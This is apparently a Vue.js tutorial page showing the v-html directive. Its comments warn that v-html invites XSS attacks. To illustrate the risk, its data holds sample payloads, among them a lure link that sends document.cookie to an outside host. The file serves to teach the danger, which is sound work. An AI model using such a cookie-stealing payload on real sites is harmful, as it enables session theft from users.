<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title>v-html指令</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <!-- 
        v-html指令:
        1. 作用:向指定节点中渲染包含html结构的内容.
        2. 与插值语法的区别:
            1. `v-html`会替换掉节点中所有的内容,{{xx}}则不会
            2. `v-html`可以识别html结构
        3. 严重注意: `v-html`有安全性问题!!!!
            1. 在网掌上动态选人任意html是非常危险的,容易导致XSS攻击.
            2. 一定要在可信的内容上使用v-html,永不要在用户提交的内容上!
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
        <div>你好,{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
        <div v-html="str3"></div>
        <div v-html="str4"></div>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; //阻止Vue启动时生成生产提示
    const vm = new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',
            str: '<h3>你好啊!</h3>',
            str2: '<a href=javascript:alert(1)>兄弟我找到你想要的资源了,快来!</a>',
            str3: '<a href=javascript:location.href="http://www.baidu.com">兄弟我找到你想要的资源了,快来!</a>',
            str4: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
        }
    });


</script>

</html>